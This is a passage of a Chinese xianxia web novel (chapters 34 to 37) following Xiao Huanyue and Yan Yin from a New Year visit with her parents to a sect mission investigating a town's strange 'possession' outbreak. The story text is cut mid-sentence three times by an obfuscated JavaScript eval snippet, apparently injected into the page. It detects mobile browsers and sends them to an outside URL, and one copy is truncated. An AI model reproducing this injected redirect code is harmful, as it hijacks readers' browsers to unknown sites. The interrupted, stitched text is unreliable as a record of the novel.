这种情况该怎么办?言隐思考着对策。看来出于礼貌他不得不张口表示点什么了,“谢谢,也祝您安康。”最终只憋出来这么一句。 求救性地看向萧唤月,可惜她已经趴在桌子上开始说梦话了,没法替他解围。 “小仙长,不要拘束。”云婉笑着说,“拿这里当自己家,可以的。” 这句绝对是客气话,言隐精明地想。 “孩子,你和月儿关系很好,是不是?”云婉给他碗里夹了只鸡腿,“我们都是些没见识的老家伙,不太懂那个,玉胥宗是什么情况。多嘴问两句,你别见怪。” 言隐停了筷子:“......您想问什么?” “她在那里,有没有受欺负?过得习不习惯?吃的穿的用的,这些有缺吗?其他人有没有看不起她?”云婉的语速越来越快,但似乎怕吵醒萧唤月,声量始终很轻。 沉默片刻,言隐认真道:“没有受欺负,过得还算习惯,吃穿不缺,其他人也没有看不起她。” 云婉摸了摸萧唤月的头发,无声地叹气,脸上愁容未消:“如果是这样,那就太好了。月儿这孩子报喜不报忧,我们一直很担心她。” 言隐一口咬下半只鸡腿,嘴里鼓鼓囊囊:“没骗您,她很厉害,去年就晋升为内门弟子了。” “晋升了?”云婉不太懂内门弟子是个什么地位,但晋升总不会是坏事,她欣慰地颔首,嘴角上扬了一下,“晋升好啊。” “是啊,她进步速度很快。” “月儿很聪明对吗。” “对。” “比我和吟山都聪明。” “......”这话言隐不知该怎么接,没了解过老两口的智力水平,不好比较。 “因为她不是我们亲生的,”借着摸女儿头发的动作,云婉手指下滑,不露声色地遮住了萧唤月的耳朵,“鸡窝里出了个凤凰,不是我们教导有方,而是月儿本就优秀。她的亲生父母一定是了不得的大人物,搞不好,是我们耽误了她。” 言隐一怔,不是吧,这种秘密就这么告诉他了?虽然他早就知道。 “她亲生父母说不定不是什么好鸟。”他只能如此暗示。 然而云婉只当这话是安慰他们的,没有深想。 “我听监天司的人说过,修士大都是从小就接触那些东西了,什么心法,内功,那都是早该学起的。” “萧唤月半路入门,不也学得挺好。” 云婉浅浅笑了一下,目光游移,好像对即将说出口的话感到难为情。 “我是想说......其他仙长们,千万不要因为她出身我们这种家庭,而看不起她。她真正的出身,一定是极好的。” 心中泛起奇怪的酸麻感,嘴里的鸡腿也不香了。但言隐搞不懂自己的情绪变化从何而来,冷哼了一声移开视线:“这种家庭怎么了。” 云婉:“就是......普普通通的。” “普普通通?那就是最好的了。” 言隐眼中空荡荡的,脑袋朝着窗外,像是在走神。室中气氛有些尴尬,他浑然不知,只觉得云婉多虑,那种事情没有担心的必要。 萧吟山干笑一声重新举杯,想要说几句俏皮话,活跃一下僵硬的氛围,除夕夜,大家都开开心心才最好,这话题揭过不谈罢。 再说了,女儿看着确实也不像受欺负的样子。方才说祝词的时候,她眉梢眼角尽是鲜活笑意。露珠般的少年意气,不会是装出来的。 言隐却没察觉到萧吟山的心思,仍接着之前那话,淡然道:“你们不该妄自菲薄,她知道了会伤心的。” 云婉:“......无妨,月儿已经醉倒了,听不见我们的话。唉,难得回来一趟,没管着嘴,让她多贪了几杯,明早起来会头痛的,实在不该。” “或许她在装睡?” 云婉一凛,当真低头去看。轻轻拂开女儿颊边的发丝,呼吸清浅,面容恬静,看起来正在酣眠。 言隐:“她从不羞于提起你们。” 云婉:“是的,月儿是好孩子......” “我的意思是,论作风你们已经超过了很多人的老爹老娘。”言隐偏过头,注视着这位母亲,“所以,没人会瞧不起萧唤月。如果有,揍一顿就好了。” 萧吟山动作一顿,有些惊讶地看向饭桌对面这个年轻人。 揍一顿就好了——不折不扣的暴力行径,风光霁月的小仙长却坦然无比地说出口,并不以此为耻。 半晌,萧吟山眉头松展,拎起酒壶,往言隐杯子里倒满:“好,仙长,喝酒。” 让长辈斟酒似乎不太妥当,但萧吟山做得很自然,言隐也没有推拒,顺势举杯。 二人目光交错。 新年快乐。”言隐说。 守岁夜,灯烛长明。 萧唤月终于悠悠转醒的时候,身上披着件厚衣服,面前放了个鼓鼓囊囊的红包,是她的压岁钱。 抬眼一看,云婉居然在教言隐剪纸。 言隐眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14566240|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧皱神色认真,手边积了一堆废纸片,都是先前练手的失败品。他手里拿着的是最成功的一张,依稀看得出来,剪的是个“福”字。 目光流转,萧唤月忽然注意到,言隐手边也有个红包。她下意识对比了一下自己的——爹娘似乎没偏心,两个红包一样鼓,红布上绣的花纹也相同。 不知道此刻言隐作何感想,一大把年纪了,居然还能收到压岁钱。 萧唤月:“娘!” 云婉抬头,放下剪刀:“欸,乖女,醒了?头痛不痛。” “不痛。”她把椅子搬到云婉身边,“我也要剪纸,娘你都不教我。” 云婉乐呵呵地把剪刀递给她,眼角笑纹藏不住:“以前不是教过?忘记了吗,你还给娘剪过小像,结果谁也没认出来那是我。” 被拆台的萧唤月:“......这回弄个简单的。” 云婉:“想剪什么?” “剪三张‘好’字,送你们一人一张。” 然而完全没有想象中那样容易,纤薄的纸张撑不住她来回折腾,剪着剪着就从中间断开。十张纸废了九张,唯一成型的一个“好”字也歪歪扭扭,遭到言隐的无情嘲笑。 “你还不如我。” 萧唤月嘴硬:“一回生二回熟。” “行,你继续,” “一共要剪三张,”萧唤月掰着手指算,“还差两张。” 言隐用两根手指把那张歪歪扭扭的“好”字拎起来:“这个居然算成功?” “是呀,这张给你。”萧唤月坏心眼地问,“喜欢吗?” “......还行。” “我还以为你会说好丑。” “微丑。” 说这话时言隐别扭的神色看得萧唤月暗自好笑,阖家团圆的日子他似乎并不想说难听话,刚认识那会儿可没有这么委婉,丑就是丑,什么叫微丑。 其实言隐不给面子她也不会生气,这张确实不好看,逗逗他而已,不会送出手。 但一回生二回熟是真的,她手上动作越来越顺,咔咔剪出十几张“好字”,放在桌上排开,挑挑拣拣,选出最好看的三张。 萧唤月说到做到,给爹娘和言隐一人送了一张。 言隐:“那张丑的你不要了?” “不要了。” “那给我。” “你不是嫌弃?” “......没。” 萧唤月盯了他一会儿,噗嗤笑出声:“你还挺善良。” 言隐:“?” “怕我被打击到?放心啦,我没那么脆弱,那张确实丑,刚才说要送你是开玩笑的。” 言隐绷着脸,想反驳她说自己善良的那句话,可想了半天找不到切入点,干脆保持沉默不说了,反正说不过她。 “不高兴了?”萧唤月很有眼力见地凑过来,压低了声音,“好吧,你不善良,你是世界第一大恶人,不,大恶鬼,最凶狠冷酷的冥界之主,每个人见了你都要被吓得跑出八百里地,这就是威慑力。” 言隐想她的确狡猾又敏锐,好像总能把自己看穿似的,一番无厘头的夸奖,却精准顺毛,让他生不出气来。 “油嘴滑舌。” “过奖。” 此时窗外一声巨响,紧接着光亮乍现,将屋里所有人的脸照得亮堂堂。 言隐扭头:“谁在开炮?” 萧唤月:“......是烟花吧。” 一声接一声,花焰在天边炸开,伴随着几声遥远的欢呼。无数人的目光汇聚在天空那一点,火光璀璨如星点,艳过四月牡丹花。 萧唤月:“哇。” 言隐:“哇。” 不顾寒风割脸,两人执意要挤到窗边,近距离观赏。 萧唤月垫着脚仰头去看,焰火照进眼底,瞳孔映出亮色。不禁感叹烟花真美,夜色绚烂,世界又老了一岁,大家为此欢呼,祈祷新的一年幸福降临。 系统:【检测到攻略对象好感值波动,现好感度数值:50】 没理会这道煞风景的电子音,言隐兴奋地指着天空的一角:“月......萧唤月,烟花又开了,看那边!” 35. 第 35 章 按照计划,过完初一,萧唤月和言隐就得回丘山去了。 虽然有点舍不得,但回来这么一趟,该看的都看了,该玩儿的都玩儿了,也确认过爹娘身体无恙,着实没有再逗留的理由, 向萧吟山和云婉道过别后,二人踏上回程路。 有种假期结束重新开学的感觉,萧唤月有点惆怅,一路上都没怎么说话,闷头赶路。 言隐倒是还有心情欣赏风景,甚至提出要不要再玩几天。萧唤月义正言辞地拒绝了他的提议,舍不得归舍不得,但这是她第一次偷跑下山,心理素质还没有提升到言隐这种老油条的程度,怕离开久了会被发现,她一直有些不安。 “还是抓紧回玉胥宗吧,别出什么变故才好。” 言隐不屑:“能出什么变故,都已经快到山脚下了。” 无惊无险的一趟旅途,跟下山的时候一样,萧唤月在言隐的帮助下无声无息地通过了结界门禁,没有被任何人发现。 在离丘山几里外的小树林中,蒙面男人恨恨望着他们背影消失的方向,心知自己不能再跟过去了。 男人周身黑气弥漫,裸露的皮肤上是深浅不一的伤疤,狰狞可怖。他的模样与以前相比发生了很大变化,指甲和耳朵都开始呈现出半兽类特征。 如果萧唤月站在这里,绝对认不出来,这阴鸷丑陋的蒙面男人,就是曾经在暗处陪伴保护了她十六年的东生。 不过话说回来,萧唤月本来也没见过东生的样子。在她面前,他始终不曾露出过真容,下意识掩藏自己的一切。 东生望着丘山的方向,直到日落西山,快要站成一尊石像,才悻悻地转身离去。 两年前,他袭击白曜不成,反而自己身受重伤,功力大减。那时候自身都难保,再无力阻止萧唤月走向仙途。 为了养好自己的伤,东生猎杀过不少妖类,剖其妖丹,再吸血肉精气化为己用,残破不堪的躯壳被强行缝补起来,落得现在这不人不鬼的模样。 但好歹是恢复了行动力,他不准备放弃自己的计划。可白曜那边已经有了戒心,他不敢贸然出击,只能在暗中等待时机,顺道来丘山看看萧唤月。 他不想放任萧唤月继续成长下去,如果可以,他希望能将她掳走,洗掉记忆,带在身边,那样是最好不过。 然而萧唤月在丘山之中,他没法闯进结界强行将她掳走,那样会被发现。况且东生知道玉胥宗那几位长老很厉害,无意惊动他们。 好不容易萧唤月主动踏出结界,去往凡界,本该是个极好的机会,可她身边居然还跟着那阴魂不散的臭小子,他根本找不到机会下手! 一口牙齿气得快要咬碎,偏偏他毫无办法,甚至不敢离她太近。 翅膀硬了啊......萧唤月。 * 尝到了一次甜头,言隐意犹未尽,三番两次邀萧唤月出山游玩。 面临这般巨大的诱惑,萧唤月大多数时候还是把持住了,知道偷溜出界是违规行为,还是不要太猖狂为好。 若想光明正大地下山,就得抓紧提升修为,等资历足够,便能去执事堂接取任务,游历凡间,伏妖降怪。 修炼一天也没落下,言隐还时不时给她送点灵丹妙药,说是鬼界谁谁谁献上来的,对他而言没什么用,不如让她吃了。 内外兼修,萧唤月的功力称得上是突飞猛进,又是两年过去,已迈入金丹境界。 在玉胥宗,金丹期是一个相当重要的阶段,等同于某种门槛,代表弟子已经有一定的能力,可以试着接取任务了。 心思开始活泛起来,这天,萧唤月装作不经意的样子路过执事堂,往里看了一眼,只有两个师兄在整理卷宗。 其中一个眼尖的,看到萧唤月在门口探头探脑,便停下手中的活计,向她招了招手:“师妹?” 咳,既然人家都叫她了,那就进去逛一圈吧。 抬脚踏进执事堂内,熏香缭绕,沁人心脾,安宁祥和的氛围,与传道堂内截然不同,萧唤月步子都不自觉变轻了。 以前无数次路过这里,看到有弟子接了任务卷宗走出来,她只有干瞪眼羡慕的份儿,时过境迁,如今她也是金丹期的修士了! 暗自握紧拳头给自己打气,正发愁该怎么开口才好,师兄甲忽然道:“萧师妹是来找任务的吧?我可以看看有没有你能接取的。” 不愧是师兄,一眼就看穿她心中所想! 萧唤月嘿嘿一声:“那麻烦你们了。” 两位师兄翻翻找找,她的目光紧紧跟随。少顷,师兄乙合上竹简书,抱歉地看她一眼:“我这边没有找到能接的。” 师兄甲挠挠脑袋:“我这边也没有。” 萧唤月有些失望,但也没多意外。 她这个阶段暂时还接不了高难度的活儿,可那些简单的任务又通常都会被更高阶的修士顺手做了——执事堂是允许弟子进行多线任务的。 这就导致她能接触到的任务资源不多,只能碰运气。 她笑了笑:“没事,我下次再来。” 隔三差五来看一次,总能有轮到她的时候。 本以为会等上很长一段时间,不曾想没过多久,就让她逮到了一个机会。 这机会却不是来自执事堂,而是八万春长老。 两年前逮回来的那只镜妖,经过不断试验,八万春判定其的确不适用于考核赛,风险太高,容易出意外。 是以,他不得不遗憾放弃了原先的打算,决定将镜妖送回苦心谷去,还波玉潭一个清净。 镜妖身上有层层封印,转移起来并不困难。八万春和其他长老一合计,这事就不亲自去办了,派几个靠谱的弟子护送此物就是,还能顺便锻炼一下后辈。 这任务就落在了昭意和路承蕊身上,都是亲传弟子,个顶个的靠谱。 长老大手一挥,表示他们还能各自带一位资历轻的师弟或者师妹同行,组个小队,顺便去执事堂清一清任务。 路承蕊和昭意到执事堂接下了几个难度尚可的卷宗,都在他们的能力范围之内,就算要带上俩小孩,也不愁事态失控。 按照任务事发点的远近,他们规划好路线,苦心谷作为最后一站。到时把镜妖放回出生点,再在周围布下禁制,就算结束了。 “你选谁?”路承蕊问昭意。 “想选萧唤月。”他直言道,“她不是刚到金丹境界么,缺乏实战,需要锻炼。” 路承蕊若有所思,拉长了语调:“哦,小月月呀——” “做什么阴阳怪气的。” “我发现你对她总是格外照顾,在想你是不是......” 话没说完,但透露出的意思很明显——路承蕊怀疑昭意对那小师妹有意。 她眼中燃烧着熊熊八卦之焰,反正与昭意很熟,言谈间也没什么顾忌,想问就问了。 “你想多了。”昭意哭笑不得,“当初我带她来了丘山,算她半个引路人,于情于理,是该多照顾她一些。而且她的身世你我都知情,如果不是因为当年那件事,她只会比现在更优秀,一想到这个,就觉得怪可惜。” “......那倒是。”忆起那一桩旧事,路承蕊不禁暗骂里云宫真不厚道,重男轻女不是? 她啧了一声,又提醒昭意:“记得别在她面前提起以前的事,当她跟里云宫毫无关系就是了。” “那是自然。”昭意点头。 “行,你去跟月月说一声吧,择日上路。” “你不是也得选个小孩儿吗,选谁?” “没想好呢,名额只有一个,先到先得咯。” 没太理解“先到先得”是个什么意思,不过昭意知道路承蕊脑子里总能产生一些令他猜不透的奇思妙想,便没再多问,只与她约定好三天后出发。 路承蕊没有关系特别好的师弟师妹,她想的是,放出消息,将这名额转手卖出去,自己顺手赚笔小费。 下山的名额果然抢手,消息刚传出去不到半日,就有许多人找上路承蕊,想要买下这个位置。 然而僧多粥少,大家一齐涌上来,路承蕊也有些犯难, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言隐迫不及待回去同萧唤月分享了这个好消息,她看上去有点意外,好像还有点惊喜:“真的?” “哪能有假。” 其实收到昭意的邀请后,萧唤月一直有些忐忑。 虽然知道师兄师姐人都很好,但她与他们算不上特别相熟,接下来要共处那么长一段时间,难免会对未知的旅程感到不安,希望能融洽些才好。 现在队伍里来了个熟人,萧唤月顿时就没那么紧张,甚至还有点庆幸......幸好是言隐。 三日后众人在山门口汇合,眼神交汇间,就算是打过招呼了。 临时组建起来的小队尚需要磨合,昭意清清嗓子,自觉担任起领头人之一的责任,对师弟师妹说了些聊表鼓励的话。 路承蕊跟在后头捡了便宜,省去思考场面话的工夫,指了指昭意,郑重点头:“我的看法跟他一样。” 昭意:“我和师姐会保护好你们的,第一次做任务,不必太紧张,以自身安全为主。” 萧唤月:“好的,谢谢师兄师姐,我们打得过就打,打不过就跑。” 言隐一键复制粘贴:“好的,谢谢师兄师姐,我们打得过就打,打不过就跑。” 昭意笑道:“话虽如此,还是要努力一下的......可别一看见困难就退缩。” 萧唤月:“明白,一切听指挥。” 言隐:“明白,一切听指挥。” 萧唤月用手肘在背后悄悄撞了一下言隐,意思是别学她说话了,好歹自己想两个词吧! 幸亏师兄师姐都不是爱摆谱的人,不会为难不善言辞的小师弟。 无聊的开场白结束,路承蕊打开地图,神色正经了些,指着其中一处道:“第一个目的地,是这里。” 萧唤月凑过去看,小房子模样的图标下,凤泉镇三个字赫然在目。 36. 第 36 章 卷宗上说,凤泉镇数以百计的百姓疑似“撞邪”,事态诡谲离奇,当地官府无力解决,恐怕需要修仙界力量的介入。 不过,由于没有出现伤亡,这个任务的难度评级并不太高。 路承蕊猜测,镇民可能是遭受了某种精神类攻击,具体情况,还得到了镇上再做分析。 凤泉镇离得不远,众人御剑飞行了半日,改换步行,一是为了省点儿灵力,二是为求低调,若大张旗鼓地进了凤泉镇,不便于他们展开调查。 “可惜附近没有驿站,不然能租辆马车。”言隐把手举过头顶挡太阳,“好晒。” 萧唤月安慰他:“快到了。” 即便服用了灵芝,言隐讨厌晒太阳这一点依旧没有改变。与鬼体质没关系,他还是人的时候,就讨厌晴天。 阴雨天才是他的最爱,杀人的时候很方便,雨声可以做掩护,雨水可以在事后冲去血迹。阴凉的,湿润的雨天,是他曾经最好的合作伙伴。 萧唤月打了个响指:“发什么呆,晒懵啦?” 他哼一声:“哪有那么娇气,只是在想事情。” “好吧。” “......你怎么不问我在想什么。” “哦,那你在想什么?” “不告诉你。” “?” 萧唤月翻了个白眼,加快步伐,想要跟上走在前面的师兄师姐。 “干嘛突然走那么快。”言隐眉心一跳,拉住了她。 这一路上他都在当爱情保安,有意维持路承蕊和昭意的二人世界,目的就是不想让萧唤月走上原书中的老路。 一看到她有靠近昭意的信号,他心中就立刻警铃大作。 “抓紧赶路呀。”萧唤月示意他撒手,“等到天黑,打尖住店都不方便。” 想了想是这个道理,言隐拉着她加快速度,走到最前面:“这样可以了吧。” “可以,但我有个问题。” “什么?” “为什么我们不能跟师兄师姐保持同样的速度?” 言隐一副高深莫测的表情:“他们在说话,我们尽量不要打扰他们。” “......是我想的那个意思吗?” “你想的是什么意思。” “你说的是什么意思。” “你先说你是什么意思。” 感觉在讲绕口令,萧唤月脑壳发昏,做了个打住的手势。 她干脆直言:“难道你觉得师姐师兄之间......” “有奸情。” “这个词用得不对。” “有情。” 萧唤月有些讶然:“你居然还会在意这个啊。” “怎么。” 没好意思说,她其实觉得言隐是对男女之情比较迟钝的那种人,而且对利益不相关的事通常漠不关心,不应该贴心到这种程度吧?还给师兄师姐创造独处的机会。 “你挺看好他们的?” 言隐信誓旦旦:“宁毁一座庙不拆一桩婚。” “看来你跟他俩交情不错么。” “......还行。”言隐试探,“你呢,觉得他俩般配吗?” “金童玉女,天作之合。”萧唤月耸肩,“不过话说回来,也轮不到我来评价,人家的事,咱俩还是少管吧。” 言隐莫名安下心来,“人家”和“咱们”,这区别可是很大,意味着他被划到己方阵营,而昭意是外人。 萧唤月对昭意似乎真的没有萌生什么不该有的感情,他想自己不该这么杯弓蛇影。 “你说的对。”他愉快道,“咱俩少管。” 他们身后,昭意正在对路承蕊说话,语带笑意:“瞧他们,第一次下山执行任务,兴奋成这样,跑前跑后的,真是......活泼可爱。” 路承蕊用看智障的眼神看他:“明显是小师弟喜欢小师妹,一直缠着她说话呢。” “啊?” “你没看出来?” “......没有。” “算了算了,反正也是年轻人的事,你我假装不知情就行。”路承蕊嘿嘿两声,“其实他俩蛮般配是不是?郎才女貌。” 一行四人各怀心思,就这样朝着凤泉镇进发。 紧赶慢赶,天色终究还是黑了下来,到了镇口,已是深夜。 石牌坊上刻着“凤泉镇”三个大字,并无守门人,出入自由。 没有感觉到任何邪祟的气息,周围寂静无声,整座小镇都被黑暗笼罩着。但路承蕊坚信这地方绝对不像表面上看上去那么平静。 她告诫其他人:“虽然只是个小任务,但也不要放松警惕。小师妹,小师弟,通讯符都带着吗?” 萧唤月点头:“一直带着。” 路承蕊:“任务中难免会有分开的时候,如果你们遇到危险或者处理不了的情况,一定及时联系我。” 萧唤月:“好。” 路承蕊正经起来还是挺靠谱的。 萧唤月心念一转,想厚着脸皮问一问,待会到了客栈能不能跟师姐住一间房。反正都是女孩子,应该不用顾虑太多吧?还省钱了。 镇子规模不大,人流量也不多,他们找了好半天,终于找到一家营业中的客栈。 敲了半天,老板才举着油灯来给他们开门。 身型矮小的中年男人,胡子拉碴,脸上一道被压出来的红痕。显然他刚才正趴在柜台上打瞌睡,但对于送上门来的生意又不能不做,硬着声线道:“住店?” 路承蕊掏出一锭银子:“还有空房吗?要两间。” 听见她的话,老板的神情却发生了微妙的变化,迟疑道:“有是有......不过,听你的口音,是外地人?” “是。” “外地人要先登记。”老板从柜台后面摸出个小册子,“籍贯,姓名,这些都要填。” 萧唤月:“籍贯是出生地还是户口所在地?” 老板不耐烦道:“你祖籍在哪?” “......”一时说不出来。 按理是在十燕城,但萧家夫妇是十多年前才搬到城里的,祖籍好像在乡下。然而萧唤月转念一想,自己拜入丘山之后,户籍好像又迁出了,所以不该填人间的籍贯,应该填丘山么? 算了,乱填一个得了。 她正要拿起笔,昭意却好似看懂了她先前的纠结,对那男人好声道:“老板,我们都是来自同一个地方的,我来帮他们填吧。” “随便你们,快点呗。”老板打哈欠。 昭意工工整整写上了四人的姓名,籍贯都是填的丘山。 老板收回册子,看了一眼,皱起眉头:“嗯?” 言隐啧了一声:“又怎么了。” “丘山,是玉胥宗那个丘山?” 没想到老板颇有见识,一眼就抓住了重点。 路承蕊对昭意低声道:“你该乱填一个的,那么实诚。” 老板摆了摆手,脸上的表情忽然变得和颜悦色起来: “各位别误会,我不是要找你们麻烦。只是县令大人早就发过布告,若有修仙的到了凤泉镇啊,直接去县令府上就行,吃的住的,那儿都包了。兴许是天色昏暗,仙长你们没有注意到布告栏上的东西。” 见众人面色未改,老板又补充道:“不信你们去布告栏上看,县令说了,大家看到仙人都要放尊敬点......他可是很期待你们的到来呢。” 路承蕊:“即便如此,天色已晚,我们就在客栈里住罢,不去县令府上叨扰了。” “好,好。”老板把银子还给路承蕊,“仙长的钱我就不收了,你们是来为民除害呢,我哪能找你们要钱。” 路承蕊:“......所以你们都知道我们此行的目的了?” “当然。”老板比出个大拇指,“有你们出马,那些邪物一定能被挫骨扬灰了!” 搞半天,白装低调了,人家早就把他们的动向摸得清清楚楚,如果那邪祟聪明点,应该已经跑路了。 不过也有好处,他们要来除祟这事既已广而告之,镇民便会响应县令大人号召,为他们大开绿灯。 省了房钱。 客栈空房还多,老板大手一挥,直接给他们开了四间房,每人都能享受到单独的大床软铺。 路承蕊心态良好地招呼大家上楼休息,剩下的事明天再说,毕竟旅途中可不是时时都能有这样的好运气,睡草堆枕树枝才是常有的事。 但萧唤月依旧没睡得很好,被子里总有一股怪味儿,她怀疑客栈员工从来没清洗过,越想越膈应,最后干脆打了地铺。 第二日头重脚轻地醒过来,她下了楼,看见师兄师姐正在和老板聊天。 “怎么不多睡会儿。”路承蕊看见她过来,往右挪了个位置,让出一张凳子。 “时辰也不早了......”老板在这,萧唤月没好意思说床铺的事,这个时代没有洗衣机,或许清洗床单褥子确实不方便? 昭意:“那吃点东西垫垫肚子吧。” 听着他们的对话,老板很上道地催小二去厨房拿吃的来,没过几分钟,一碗色香味俱全的汤面就端上来了,还卧了个蛋。 昭意把筷子用茶水洗了一遍,递给萧唤月:“我们都吃过了。” “谢谢师兄。”她埋在比脸还大的碗里吸溜面条,热汤下肚,的确舒服不少。 再次体会到了跟师兄师姐出行的好处,他们经验老道,总能先一步考虑到所有事情。 路承蕊:“老板,门口好像有客人来了,你回柜台那边去吧,别耽误了生意。” “欸,行,你们有什么想吃的,就告诉那边跑堂的伙计。” 老板的身影远去,路承蕊一改端庄模样,趴在桌面半死不活,掀起眼帘看两位伙伴:“唉,没问出什么有用的。” 萧唤月:“你们问他撞邪的事情了么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14601062|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是的,跟卷宗上记录的差不多,大概是因为他没撞过,所以对内情也不是很了解。” 卷宗上说,不久前,凤泉镇忽然有不少百姓出现了不同程度的“中邪”症状,具体体现在喜食生肉、体重无故增长、眼珠变得浑浊却不影响视物。 许县令找了道士来做法,可得到的答复却是,镇民们身上既无妖气,也无鬼气,身体没有受损的迹象。 便只能归为“中邪”了。 不排除是那道士修为太浅的缘故,许县令不死心,直接上书京都。由于是集体中邪事件,涉及人数众多,县令的诉求竟然真被本国钦天监受理了。 这件事被记录在案,送往了最近的仙宗——丘山玉胥宗。 萧唤月:“找个中邪的镇民,去探一探?” 路承蕊:“正有此意,老板说离这儿两条街的地方,有个卖米的老妇人,她中邪中得很严重,我们可以去看看。” “好啊,我吃完面就出发?还有两口,马上。” “不急。”路承蕊看向楼上,“师弟好像还没起床,昭意,你去敲敲门。” 昭意点了点头,上楼去了,没过一会儿,他神色慌张的跑下来:“师弟他,他......绑了个......” 意识到这是公众场合,昭意把没说完的半句话又吞回肚子里,对她们道:“我不好说,你们上去看看吧。” 瞧他半晌说不出个所以然,路承蕊满脸莫名,但还是第一时间确认师弟的安全:“他出事了?” “他没出事,别人出事了。” 三人都来到楼上的房间,门没上锁。昭意谨慎的推开一条门缝,先让两个女孩儿进去,自己最后进,反手锁上了门。 只见言隐在床上盘腿坐着,气定神闲,右手拉着绳子的一端,左手拿着一盘桂花糕。 绳子另一端绑在一个短发少年身上,他双手双脚都被缚住,躺在地上动弹不得。 路承蕊被眼前一幕震惊到失去语言功能,在她印象里,这位小师弟是个不爱说话的内向的孩子,没想到一来就整了个大的,绑架平民?而且看样子怪熟练的。 那绳结看着松,越挣扎越紧。 还是萧唤月率先反应过来,发出疑问:“这人是谁?” “中了邪的。” “说说内情?” “我早起去买包子,碰见这小子,不说话,就盯着我看,像在观察什么。我问他看什么,他说我长得好看,这算什么理由?指定是心怀不轨。”言隐笃定。 萧唤月蹲下身观察少年眼珠,不是纯粹的黑色,像是有一层灰蒙蒙的膜,附在眼珠表面,的确符合中邪之人的症状。 少年涨红了脸:“快松开我,我虽然中了邪,但对他又没起什么歹念,就是看他气度不凡,多看了两眼而已!” 言隐:“不可能,你那不是欣赏的眼神,是在观察。” “你还会读心不成。”少年没好气道,“我自己在想什么,难道我说了不算你说了算?” “对。” “你!” 萧唤月软着语气安抚道:“小弟弟,别紧张,我们就是来调查证明中邪这件事的,他是我们的同伴,近日神经太敏感,可能误会了你。” 少年底气不足地哼了一声:“那......那也不能说抓人就抓人吧,这是什么强盗作风?” “抱歉,这事是我们做的不对。”萧唤月替他解开了绳子。 她与言隐一个唱红脸一个唱白脸,少年揉着手腕站起来,心里到底是更偏向萧唤月这一边,身子不自觉往她这边靠了靠。 萧唤月笑眯眯递过去一杯水:“听你声音有点哑,要不润润嗓子?” “我不渴......谢谢。” 萧唤月又摸出几个铜板,塞到他手心里:“拿去买糖吃吧。” 少年犹豫了一下,感觉这精神损失费似乎是自己应得的,最终还是接了过来:“行吧,也就够买串糖葫芦。” 言隐一挽袖子:“不想吃糖葫芦,想吃我的拳头?” 少年立即紧张起来,往萧唤月身后躲。 萧唤月制止了言隐的动作,又摸出几块碎银给少年:“这些够了吗?” “我不要!” “在生气?” “不是,你把我当什么人了,我又不是想讹钱!” “但这是我们一点心意嘛,抵消你所受到的惊吓。” “哼,不必了。” “我们只是想问你几个问题,问完送你离开,可以吗?” “......问吧。” “你知道,我们是来调查中邪这件事的,所以想了解一下相关的消息,比如你是什么时候中邪的,有接触过什么不干净的东西吗?” 少年还算配合:“大概半个月前吧,早上刚起床,我娘发现我眼珠灰蒙蒙的,就知道中招了。不干净的东西么,应该没有碰到过,那天跟往常没什么差别。” 37. 第 37 章 之后又陆陆续续走访了不少中邪的镇民,得到的回答都大同小异。 对于怎么撞上“邪”的,受害者一点头绪都没有,似乎是完全随机的,毫无规律可言。 一天下来,没什么收获。 但县令获知了修士造访的消息,带了两队人,敲锣打鼓,硬是把萧唤月几人架起来,迎到自己府上住去了。 萧唤月一看,这浑浊的眼珠,挂着生肉碎沫的嘴角......县令他老人家也中邪啦! 怪不得那么积极呢,现在可以理解了。 “虽然对日常生活没什么影响,但这幅样子总归是不太好看。”县令指了指自己的眼睛,“各位仙长,可有解法啊?” 言隐:“好说。” “哦?” “把眼睛挖了。” “这......”县令搓着双手,脸上浮现出为难的笑,“仙长在开玩笑吗。” “我说真的。”言隐靠近,指尖几乎要戳上他的眼珠,惊得县令慌张躲开,“我们研究过了,问题就在这里,神藏于目,眼睛是精气聚之所在,妖怪若是藏在眼睛里,妖气自然很难外溢。” 县令听进去了,眨了眨眼,想象到一个妖怪此时可能就住在自己眼珠子里,不禁有点毛骨悚然。 “所以仙长们认定是妖类作祟了?” “十有八九吧,也不一定。” 县令急道:“那能否将这妖物剥离出来,以不伤人的方式?眼睛要是没了,以后我连公务都没法处理了呀。” “它也许已经与你的眼睛化为一体了呢,要保就只能全保,要弃就只能全弃,你怎么选?” “我......”县令回答不出来,妖怪他是不想留,可眼睛也不能不要。想来想去,还是怨这群丘山修士道行不够。 若真要舍弃眼睛才能驱逐妖物,一夜之间镇上就得多出百来号瞎子,不是个办法。 路承蕊安慰道:“这只是我们的猜测,并非最终定论,许县令你先不用紧张,我们会再想想法子。” 县令立马转悲为喜:“......啊,是吗。” 对那口出诳言的男修他很不满,说什么挖眼睛,是要存心吓他? “那就好,你们慢慢想,时间不是问题,我们等得起,一定要慎重!”县令觉得路承蕊比较靠谱,语重心长地叮嘱她。 